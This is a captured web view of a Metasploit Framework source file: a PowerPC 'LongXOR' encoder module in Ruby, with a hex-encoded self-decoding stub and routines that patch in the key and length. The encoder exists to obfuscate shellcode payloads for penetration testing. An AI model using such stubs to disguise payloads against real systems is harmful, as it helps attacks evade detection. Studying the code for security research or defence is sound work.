Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/ppc/longxor.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Encoder::Xor67def initialize8super(9'Name' => 'PPC LongXOR Encoder',10'Description' => %q{11This encoder is ghandi's PPC dword xor encoder with some size tweaks12by HDM.13},14'Author' => [ 'ddz', 'hdm' ],15'Arch' => ARCH_PPC,16'License' => MSF_LICENSE,17'Decoder' =>18{19'KeySize' => 4,20'BlockSize' => 4,21'KeyPack' => 'N',22})23end2425#26# Returns the decoder stub that is adjusted for the size of27# the buffer being encoded28#29def decoder_stub(state)30[310x7ca52a79, # 0x1da8 <main>: xor. r5,r5,r5320x4082fffd, # 0x1dac <main+4>: bnel+ 0x1da8 <main>330x7fe802a6, # 0x1db0 <main+8>: mflr r31340x3bff07fa, # 0x1db4 <main+12>: addi r31,r31,2042350x38a5f84a, # 0x1db8 <main+16>: addi r5,r5,-1974360x3cc09999, # 0x1dbc <main+20>: lis r6, hi16(key)370x60c69999, # 0x1dc0 <main+24>: ori r6,r6, lo16(key)380x388507ba, # 0x1dc4 <main+28>: addi r4,r5,1978390x7c8903a6, # 0x1dc8 <main+32>: mtctr r4400x809ff84a, # 0x1dcc <main+36>: lwz r4,-1974(r31)410x7c843278, # 0x1dd0 <main+40>: xor r4,r4,r6420x909ff84a, # 0x1dd4 <main+44>: stw r4,-1974(r31)430x7c05f8ac, # 0x1dd8 <main+48>: dcbf r5,r31440x7cff04ac, # 0x1ddc <main+52>: sync450x7c05ffac, # 0x1de0 <main+56>: icbi r5,r31460x3bc507ba, # 0x1de4 <main+60>: addi r30,r5,1978470x7ffff215, # 0x1de8 <main+64>: add. r31,r31,r30480x4220ffe0, # 0x1dec <main+68>: bdnz- 0x1dcc <main+36>490x4cff012c, # 0x1df0 <main+72>: isync50].pack("N*")51end5253#54# Fix up the decoder stub now55#56def encode_finalize_stub(state, stub)57icount = state.buf.length / 45859stub[30, 2] = [ 1974 + icount ].pack('n')60stub[22, 2] = [ state.key.to_i ].pack('N')[0, 2]61stub[26, 2] = [ state.key.to_i ].pack('N')[2, 2]6263stub64end65end666768